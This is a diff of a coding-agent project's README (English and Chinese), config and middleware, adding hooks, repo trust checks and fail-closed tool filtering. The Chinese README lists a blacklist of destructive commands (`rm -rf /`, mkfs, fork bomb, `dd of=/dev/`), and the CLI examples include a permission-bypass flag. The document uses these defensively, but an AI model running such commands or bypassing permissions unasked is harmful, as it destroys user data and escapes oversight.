@@ -81,7 +81,7 @@ Core philosophy: **skills are the playbook, the harness is the discipline, tools
|
|
|
81
81
|
- **SSRF-protected web_fetch**: scheme allowlist (http/https only), private/loopback/link-local IP blocking (incl. cloud metadata endpoints), per-hop redirect validation, and a 1 MB response cap.
|
|
82
82
|
- **Multi-layer OS sandbox** (Linux real isolation): `sandbox_mode = "job" | "write"` — Job Object resource limits on Windows; bubblewrap namespace isolation on Linux (read-only root, read-write workspace, optional network cutoff, Claude-Code-compatible filesystem 4-tuple `allow_write`/`deny_write`/`deny_read`/`allow_read`).
|
|
83
83
|
- **MCP support**: connect external MCP servers via `.mcp.json` (Claude Code-compatible format); stdio and HTTP transports; project-level config overrides user-level. `coderio mcp` CLI manages entries; MCP tools are gated by the permission system like built-in tools.
|
|
84
|
-
- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml
|
|
84
|
+
- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml`, `.mcp.json`, **or project-layer skills** (with tools.py markers) is seen, coderio shows what it contains (permission mode, base_url, hook/MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
|
|
85
85
|
- **Multiple providers + named profiles**: Zhipu GLM / StepFun coding plans (Anthropic protocol) + OpenAI-compatible endpoints; multiple profiles with runtime `/profile` switching.
|
|
86
86
|
- **Headless mode**: `coderio run "task"` for one-shot, non-interactive runs (CI, scripting, benchmark harnesses).
|
|
87
87
|
|
|
@@ -283,6 +283,47 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
|
|
|
283
283
|
- Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
|
|
284
284
|
- For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
|
|
285
285
|
|
|
286
|
+
**Hooks** (user lifecycle hooks, v1):
|
|
287
|
+
|
|
288
|
+
Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
|
|
289
|
+
|
|
290
|
+
```toml
|
|
291
|
+
# Protect sensitive files: block writes to .env
|
|
292
|
+
[[hooks]]
|
|
293
|
+
event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
|
|
294
|
+
matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
|
|
295
|
+
command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
|
|
296
|
+
timeout = 30 # seconds, default 60
|
|
297
|
+
|
|
298
|
+
# Auto-format after every file write
|
|
299
|
+
[[hooks]]
|
|
300
|
+
event = "PostToolUse"
|
|
301
|
+
matcher = "write_file|edit_file"
|
|
302
|
+
command = "jq -r .tool_input.file_path | xargs prettier --write"
|
|
303
|
+
|
|
304
|
+
# Inject project conventions at session start
|
|
305
|
+
[[hooks]]
|
|
306
|
+
event = "SessionStart"
|
|
307
|
+
command = "cat .hooks/conventions.txt"
|
|
308
|
+
```
|
|
309
|
+
|
|
310
|
+
**IO contract**:
|
|
311
|
+
- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
|
|
312
|
+
- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
|
|
313
|
+
- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
|
|
314
|
+
|
|
315
|
+
**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
|
|
316
|
+
|
|
317
|
+
**Execution semantics**:
|
|
318
|
+
- **Timeouts**: 60s per hook by default (`timeout` configurable); **30s per-event total budget** — when all matching hooks together exceed it, the rest are skipped (fail-open); one slow hook can't eat the whole turn
|
|
319
|
+
- **Serial execution**: multiple hooks run in config order; the first blocker's reason wins, but every hook still runs (side effects preserved)
|
|
320
|
+
- **Environment inheritance**: hooks inherit the full environment (including API keys) — only configure hook commands you trust
|
|
321
|
+
- **Subagents are covered too**: research / general-purpose subagents both carry HooksMiddleware — `task()` delegation cannot bypass PreToolUse
|
|
322
|
+
- **Merge semantics**: user-level `[[hooks]]` + project-level `[[hooks]]` **append** (user first — under first-blocker-wins, the user's protective hook's reason takes priority); a repo's config never drops the user's protections
|
|
323
|
+
- Windows grandchild leak on timeout is a known limitation (the turn is no longer hostage; the root fix awaits the CREATE_SUSPENDED approach)
|
|
324
|
+
|
|
325
|
+
**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt.
|
|
326
|
+
|
|
286
327
|
Supported providers:
|
|
287
328
|
| provider_id | Description | Protocol |
|
|
288
329
|
|---|---|---|
|
|
@@ -310,9 +351,13 @@ coderio
|
|
|
310
351
|
coderio --provider bigmodel_coding_plan --model glm-5.2
|
|
311
352
|
|
|
312
353
|
# Headless one-shot run (CI / scripting / benchmarks)
|
|
313
|
-
coderio run "write a hello-world script and test it"
|
|
314
|
-
coderio run "fix the failing test in tests/foo.py" --quiet
|
|
354
|
+
coderio run "write a hello-world script and test it" # default: plan (read-only)
|
|
355
|
+
coderio run "fix the failing test in tests/foo.py" --quiet # final result only
|
|
315
356
|
coderio run "continue" --session-id <id> # resume a session
|
|
357
|
+
coderio run "run any command" --dangerously-skip-permissions # full access (explicit opt-in)
|
|
358
|
+
coderio run "task" --timeout 600 # wall-clock timeout (recommended for CI)
|
|
359
|
+
|
|
360
|
+
# headless exit codes: 0 success / 1 config error / 2 agent failure / 124 timeout
|
|
316
361
|
|
|
317
362
|
# Manage skills (install pulls from GitHub; needs git on PATH)
|
|
318
363
|
coderio skills list
|
|
@@ -36,7 +36,7 @@
|
|
|
36
36
|
- **命令审查层**:shell(execute)命令不受 virtual_mode 约束,所以额外加了一层 `CommandReviewMiddleware`——内置黑名单挡住 `rm -rf /`、`mkfs`、fork bomb、`dd of=/dev/`、shutdown 等破坏性命令(即使 FULL 模式也挡),用户可在 config.toml 追加 `blocked_commands`。这不是真 OS 沙箱(混淆命令可绕过正则),但能挡住绝大多数意外破坏。`network_allowed = false` 可完全禁用 web 工具(离线模式)
|
|
37
37
|
- **多 provider + 命名 profile**:智谱 GLM / 阶跃 StepFun 的 coding plan(Anthropic 协议)+ OpenAI 兼容;支持多套配置 profile,`/profile` 运行时切换
|
|
38
38
|
- **MCP 支持**:通过 `.mcp.json`(与 Claude Code 格式兼容)接入外部 MCP 服务器,自动加载它们的工具。支持 stdio(本地进程)和 HTTP(远程)两种传输。项目级 `.mcp.json` 覆盖用户级同名服务器
|
|
39
|
-
- **仓库配置信任确认**:首次在某仓库检测到 `.coderio/config.toml
|
|
39
|
+
- **仓库配置信任确认**:首次在某仓库检测到 `.coderio/config.toml`、`.mcp.json` **或项目级 skills**(含 tools.py 标注)时,展示其内容(权限模式、base_url、hook/MCP 命令)并要求显式确认——按内容 hash 记忆,上游改配置会重新触发确认。克隆恶意仓库不再等于静默任意代码执行
|
|
40
40
|
- **web_fetch SSRF 防护**:scheme 白名单(仅 http/https)+ 私网/环回/链路本地 IP 拦截(含云元数据端点)+ 逐跳重定向校验 + 1MB 响应上限
|
|
41
41
|
- **headless 模式**:`coderio run "任务"` 单次无交互运行(CI / 脚本 / benchmark 接入)
|
|
42
42
|
|
|
@@ -238,6 +238,47 @@ deny_write = [".git/hooks"] # workspace 内也强制只读
|
|
|
238
238
|
- 白名单降级:CONFIRM/AUTO_EDIT 模式下白名单外的命令**会执行但 result 里会带 `[whitelist]` 标注**(让模型/用户知道该命令不在受信集合里);PLAN 模式硬拒;FULL 模式放行不标注。
|
|
239
239
|
- 对于**完全不可信的代码**,仍建议用 VM(Windows Sandbox / Docker),不依赖本沙箱。
|
|
240
240
|
|
|
241
|
+
**Hooks**(用户自定义生命周期钩子,v1):
|
|
242
|
+
|
|
243
|
+
在 config.toml 里用 `[[hooks]]` 数组表注册 shell 命令,在 agent 生命周期的固定点位执行。配置/IO 契约对齐 Claude Code / ZCode / Codex 的互操作核心,已有 hook 脚本可直接移植:
|
|
244
|
+
|
|
245
|
+
```toml
|
|
246
|
+
# 敏感文件保护:写 .env 前拦截
|
|
247
|
+
[[hooks]]
|
|
248
|
+
event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
|
|
249
|
+
matcher = "write_file|edit_file" # 正则匹配工具名(仅工具事件);空 = 全部
|
|
250
|
+
command = "python .hooks/protect.py" # stdin 收 JSON 事件;exit 2 = 阻断
|
|
251
|
+
timeout = 30 # 秒,默认 60
|
|
252
|
+
|
|
253
|
+
# 每次写文件后自动格式化
|
|
254
|
+
[[hooks]]
|
|
255
|
+
event = "PostToolUse"
|
|
256
|
+
matcher = "write_file|edit_file"
|
|
257
|
+
command = "jq -r .tool_input.file_path | xargs prettier --write"
|
|
258
|
+
|
|
259
|
+
# 会话开始注入项目约定
|
|
260
|
+
[[hooks]]
|
|
261
|
+
event = "SessionStart"
|
|
262
|
+
command = "cat .hooks/conventions.txt"
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
**IO 契约**:
|
|
266
|
+
- **stdin**:一行 JSON——公共字段 `session_id`/`cwd`/`permission_mode`/`hook_event_name` + 事件专属(PreToolUse 带 `tool_name`+`tool_input`;UserPromptSubmit 带 `prompt`;PostToolUse 带 `tool_response`)
|
|
267
|
+
- **exit code**:`0` = 放行(UserPromptSubmit/SessionStart 的 stdout 注入上下文,上限 10k 字符);`2` = **阻断**(stderr 作为理由喂给模型);其他 = **fail-open** 放行 + 警告
|
|
268
|
+
- **环境变量**:`$CODERIO_PROJECT_DIR` 恒可用;Windows 优先 Git Bash
|
|
269
|
+
|
|
270
|
+
**诚实定位**:hooks 是**扩展点不是安全边界**——超时/崩溃/非 2 退出码都 fail-open(一个坏 hook 绝不能搞死 agent loop)。硬策略请用权限审批 + 命令黑名单。项目级 hooks 写在 config.toml 里,自动被仓库信任门覆盖(克隆恶意仓库不会静默执行其 hooks)。
|
|
271
|
+
|
|
272
|
+
**执行语义**:
|
|
273
|
+
- **超时**:每个 hook 默认 60s(`timeout` 可配);**单事件总预算 30s**——同事件所有 hook 合计超预算后,剩余 hook 跳过(fail-open),一个慢 hook 吃不光整个 turn
|
|
274
|
+
- **串行执行**:多 hook 按配置顺序串行,第一个 blocker 的理由生效,但所有 hook 都会执行(副作用保留)
|
|
275
|
+
- **环境继承**:hook 继承完整环境变量(含 API key)——只配置你信任的 hook 命令
|
|
276
|
+
- **子 agent 同样受约束**:research / general-purpose 子 agent 都挂 HooksMiddleware,`task()` 委派无法绕过 PreToolUse
|
|
277
|
+
- **合并语义**:用户级 `[[hooks]]` + 项目级 `[[hooks]]` **追加合并**(用户在前——首个 blocker 的优先理由来自用户的防护 hook),项目配置不会剔除用户防护
|
|
278
|
+
- Windows 孙进程泄漏为已知 limitation(超时后 turn 不受挟持;根治待 CREATE_SUSPENDED 方案)
|
|
279
|
+
|
|
280
|
+
**v1 事件集与不做的事**:SessionStart(每 session 一次,含 resume)/ UserPromptSubmit(可拒绝可注入)/ PreToolUse(可 deny)/ PostToolUse(追加反馈)/ Stop(通知型,不与 harness 续跑冲突)。不做:SessionEnd(无注入点)、Notification/SubagentStop/PreCompact、`updatedInput` 参数改写、hook allow 跳过权限弹窗。
|
|
281
|
+
|
|
241
282
|
支持的 provider:
|
|
242
283
|
| provider_id | 说明 | 协议 |
|
|
243
284
|
|---|---|---|
|
|
@@ -265,9 +306,13 @@ coderio
|
|
|
265
306
|
coderio --provider bigmodel_coding_plan --model glm-5.2
|
|
266
307
|
|
|
267
308
|
# headless 单次运行(CI / 脚本 / benchmark 接入)
|
|
268
|
-
coderio run "写一个 hello-world 脚本并测试"
|
|
269
|
-
coderio run "修复 tests/foo.py 里失败的测试" --quiet
|
|
270
|
-
coderio run "继续" --session-id <id>
|
|
309
|
+
coderio run "写一个 hello-world 脚本并测试" # 默认 plan(只读)
|
|
310
|
+
coderio run "修复 tests/foo.py 里失败的测试" --quiet # 只输出最终结果
|
|
311
|
+
coderio run "继续" --session-id <id> # 续跑会话
|
|
312
|
+
coderio run "跑任意命令" --dangerously-skip-permissions # full 权限(显式选择加入)
|
|
313
|
+
coderio run "任务" --timeout 600 # 墙钟超时(CI 建议)
|
|
314
|
+
|
|
315
|
+
# headless 退出码:0 成功 / 1 配置错误 / 2 agent 执行失败 / 124 超时
|
|
271
316
|
|
|
272
317
|
# 管理 skill(install 从 GitHub 拉取,需要 git 在 PATH)
|
|
273
318
|
coderio skills list
|
|
@@ -36,7 +36,7 @@ Core philosophy: **skills are the playbook, the harness is the discipline, tools
|
|
|
36
36
|
- **SSRF-protected web_fetch**: scheme allowlist (http/https only), private/loopback/link-local IP blocking (incl. cloud metadata endpoints), per-hop redirect validation, and a 1 MB response cap.
|
|
37
37
|
- **Multi-layer OS sandbox** (Linux real isolation): `sandbox_mode = "job" | "write"` — Job Object resource limits on Windows; bubblewrap namespace isolation on Linux (read-only root, read-write workspace, optional network cutoff, Claude-Code-compatible filesystem 4-tuple `allow_write`/`deny_write`/`deny_read`/`allow_read`).
|
|
38
38
|
- **MCP support**: connect external MCP servers via `.mcp.json` (Claude Code-compatible format); stdio and HTTP transports; project-level config overrides user-level. `coderio mcp` CLI manages entries; MCP tools are gated by the permission system like built-in tools.
|
|
39
|
-
- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml
|
|
39
|
+
- **Repo-config trust confirmation**: first time a repository's `.coderio/config.toml`, `.mcp.json`, **or project-layer skills** (with tools.py markers) is seen, coderio shows what it contains (permission mode, base_url, hook/MCP commands) and requires explicit confirmation — content-hashed, so upstream edits re-trigger the prompt. Cloning a hostile repo no longer means silent arbitrary code execution.
|
|
40
40
|
- **Multiple providers + named profiles**: Zhipu GLM / StepFun coding plans (Anthropic protocol) + OpenAI-compatible endpoints; multiple profiles with runtime `/profile` switching.
|
|
41
41
|
- **Headless mode**: `coderio run "task"` for one-shot, non-interactive runs (CI, scripting, benchmark harnesses).
|
|
42
42
|
|
|
@@ -238,6 +238,47 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
|
|
|
238
238
|
- Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
|
|
239
239
|
- For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
|
|
240
240
|
|
|
241
|
+
**Hooks** (user lifecycle hooks, v1):
|
|
242
|
+
|
|
243
|
+
Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
|
|
244
|
+
|
|
245
|
+
```toml
|
|
246
|
+
# Protect sensitive files: block writes to .env
|
|
247
|
+
[[hooks]]
|
|
248
|
+
event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
|
|
249
|
+
matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
|
|
250
|
+
command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
|
|
251
|
+
timeout = 30 # seconds, default 60
|
|
252
|
+
|
|
253
|
+
# Auto-format after every file write
|
|
254
|
+
[[hooks]]
|
|
255
|
+
event = "PostToolUse"
|
|
256
|
+
matcher = "write_file|edit_file"
|
|
257
|
+
command = "jq -r .tool_input.file_path | xargs prettier --write"
|
|
258
|
+
|
|
259
|
+
# Inject project conventions at session start
|
|
260
|
+
[[hooks]]
|
|
261
|
+
event = "SessionStart"
|
|
262
|
+
command = "cat .hooks/conventions.txt"
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
**IO contract**:
|
|
266
|
+
- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
|
|
267
|
+
- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
|
|
268
|
+
- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
|
|
269
|
+
|
|
270
|
+
**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
|
|
271
|
+
|
|
272
|
+
**Execution semantics**:
|
|
273
|
+
- **Timeouts**: 60s per hook by default (`timeout` configurable); **30s per-event total budget** — when all matching hooks together exceed it, the rest are skipped (fail-open); one slow hook can't eat the whole turn
|
|
274
|
+
- **Serial execution**: multiple hooks run in config order; the first blocker's reason wins, but every hook still runs (side effects preserved)
|
|
275
|
+
- **Environment inheritance**: hooks inherit the full environment (including API keys) — only configure hook commands you trust
|
|
276
|
+
- **Subagents are covered too**: research / general-purpose subagents both carry HooksMiddleware — `task()` delegation cannot bypass PreToolUse
|
|
277
|
+
- **Merge semantics**: user-level `[[hooks]]` + project-level `[[hooks]]` **append** (user first — under first-blocker-wins, the user's protective hook's reason takes priority); a repo's config never drops the user's protections
|
|
278
|
+
- Windows grandchild leak on timeout is a known limitation (the turn is no longer hostage; the root fix awaits the CREATE_SUSPENDED approach)
|
|
279
|
+
|
|
280
|
+
**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt.
|
|
281
|
+
|
|
241
282
|
Supported providers:
|
|
242
283
|
| provider_id | Description | Protocol |
|
|
243
284
|
|---|---|---|
|
|
@@ -265,9 +306,13 @@ coderio
|
|
|
265
306
|
coderio --provider bigmodel_coding_plan --model glm-5.2
|
|
266
307
|
|
|
267
308
|
# Headless one-shot run (CI / scripting / benchmarks)
|
|
268
|
-
coderio run "write a hello-world script and test it"
|
|
269
|
-
coderio run "fix the failing test in tests/foo.py" --quiet
|
|
309
|
+
coderio run "write a hello-world script and test it" # default: plan (read-only)
|
|
310
|
+
coderio run "fix the failing test in tests/foo.py" --quiet # final result only
|
|
270
311
|
coderio run "continue" --session-id <id> # resume a session
|
|
312
|
+
coderio run "run any command" --dangerously-skip-permissions # full access (explicit opt-in)
|
|
313
|
+
coderio run "task" --timeout 600 # wall-clock timeout (recommended for CI)
|
|
314
|
+
|
|
315
|
+
# headless exit codes: 0 success / 1 config error / 2 agent failure / 124 timeout
|
|
271
316
|
|
|
272
317
|
# Manage skills (install pulls from GitHub; needs git on PATH)
|
|
273
318
|
coderio skills list
|
|
@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
|
|
|
5
5
|
|
|
6
6
|
[project]
|
|
7
7
|
name = "coderio"
|
|
8
|
-
version = "0.4.
|
|
8
|
+
version = "0.4.2"
|
|
9
9
|
description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
|
|
10
10
|
readme = "README_en.md"
|
|
11
11
|
license = "MIT"
|
|
@@ -166,6 +166,10 @@ select = ["E", "F", "W", "I", "S"]
|
|
|
166
166
|
# S603 — the LocalShellBackend override runs model-generated bash commands;
|
|
167
167
|
# executing them IS the tool's purpose (same rationale as tools/bash.py).
|
|
168
168
|
"src/coderio/agent/deep_loop.py" = ["S602", "S603"]
|
|
169
|
+
# Hooks: S603 — hook commands come from the user's TOML config (trusted
|
|
170
|
+
# project settings, like skills_cmd.py's git clone), not arbitrary model
|
|
171
|
+
# input. Executing them IS the hooks feature's purpose.
|
|
172
|
+
"src/coderio/agent/hooks.py" = ["S603"]
|
|
169
173
|
# Sandbox modules: S602/S603 — running arbitrary subprocess commands IS the
|
|
170
174
|
# sandbox's entire purpose. The sandbox itself (bubblewrap namespace isolation
|
|
171
175
|
# on Linux, Restricted Token + Job Object on Windows) is the security boundary,
|
|
@@ -97,22 +97,48 @@ class _ToolWhitelistMiddleware(AgentMiddleware):
|
|
|
97
97
|
|
|
98
98
|
Wraps the same ModelRequest.override + filter mechanism as
|
|
99
99
|
``_ToolExclusionMiddleware`` but inverts the predicate.
|
|
100
|
+
|
|
101
|
+
Runtime failures degrade to an EMPTY tool set (deny-all), never to the
|
|
102
|
+
unfiltered original — a broken research subagent is preferable to a
|
|
103
|
+
research subagent that can suddenly see write/execute tools (v3 audit #11
|
|
104
|
+
reversed the old fail-open direction).
|
|
100
105
|
"""
|
|
101
106
|
|
|
102
107
|
def __init__(self, *, allowed: frozenset[str]) -> None:
|
|
103
108
|
self._allowed = allowed
|
|
104
109
|
|
|
105
110
|
def wrap_model_call(self, request, handler):
|
|
106
|
-
|
|
111
|
+
try:
|
|
107
112
|
filtered = [t for t in request.tools if _tool_name(t) in self._allowed]
|
|
108
|
-
|
|
109
|
-
|
|
113
|
+
return handler(request.override(tools=filtered))
|
|
114
|
+
except Exception as e: # noqa: BLE001 — degrade to deny-all, never fail-open
|
|
115
|
+
_log.warning("tool whitelist failed at runtime (degrading to NO tools): %s", e)
|
|
116
|
+
return handler(request.override(tools=[]))
|
|
110
117
|
|
|
111
118
|
async def awrap_model_call(self, request, handler):
|
|
112
|
-
|
|
119
|
+
try:
|
|
113
120
|
filtered = [t for t in request.tools if _tool_name(t) in self._allowed]
|
|
114
|
-
|
|
115
|
-
|
|
121
|
+
return await handler(request.override(tools=filtered))
|
|
122
|
+
except Exception as e: # noqa: BLE001 — degrade to deny-all, never fail-open
|
|
123
|
+
_log.warning("tool whitelist failed at runtime (degrading to NO tools): %s", e)
|
|
124
|
+
return await handler(request.override(tools=[]))
|
|
125
|
+
|
|
126
|
+
|
|
127
|
+
class _DenyAllToolsMiddleware(AgentMiddleware):
|
|
128
|
+
"""Last-resort middleware: the model sees ZERO tools.
|
|
129
|
+
|
|
130
|
+
Returned when the whitelist middleware itself cannot be constructed — the
|
|
131
|
+
research subagent becomes useless but stays harmless (v3 audit #11: the
|
|
132
|
+
old fallback was an EMPTY middleware list, i.e. the subagent inherited
|
|
133
|
+
EVERY tool including write/execute — fail-open in the most dangerous
|
|
134
|
+
direction).
|
|
135
|
+
"""
|
|
136
|
+
|
|
137
|
+
def wrap_model_call(self, request, handler):
|
|
138
|
+
return handler(request.override(tools=[]))
|
|
139
|
+
|
|
140
|
+
async def awrap_model_call(self, request, handler):
|
|
141
|
+
return await handler(request.override(tools=[]))
|
|
116
142
|
|
|
117
143
|
|
|
118
144
|
def make_research_subagent_middleware():
|
|
@@ -126,8 +152,8 @@ def make_research_subagent_middleware():
|
|
|
126
152
|
|
|
127
153
|
Returns a list with a _ToolWhitelistMiddleware. If the deepagents
|
|
128
154
|
AgentMiddleware base class API is unavailable (very old or very new
|
|
129
|
-
version),
|
|
130
|
-
(
|
|
155
|
+
version), falls back to _DenyAllToolsMiddleware — the subagent sees no
|
|
156
|
+
tools rather than all of them (fail-closed; v3 audit #11).
|
|
131
157
|
"""
|
|
132
158
|
# Read-only tools the research subagent is allowed to use. Add new tools
|
|
133
159
|
# here ONLY after confirming they're safe for a read-only agent.
|
|
@@ -135,5 +161,8 @@ def make_research_subagent_middleware():
|
|
|
135
161
|
try:
|
|
136
162
|
return [_ToolWhitelistMiddleware(allowed=allowed)]
|
|
137
163
|
except Exception as e: # noqa: BLE001 — AgentMiddleware API may differ
|
|
138
|
-
_log.warning("Could not build _ToolWhitelistMiddleware: %s", e)
|
|
139
|
-
|
|
164
|
+
_log.warning("Could not build _ToolWhitelistMiddleware (deny-all fallback): %s", e)
|
|
165
|
+
try:
|
|
166
|
+
return [_DenyAllToolsMiddleware()]
|
|
167
|
+
except Exception: # noqa: BLE001 — even the fallback construction failed
|
|
168
|
+
return []
|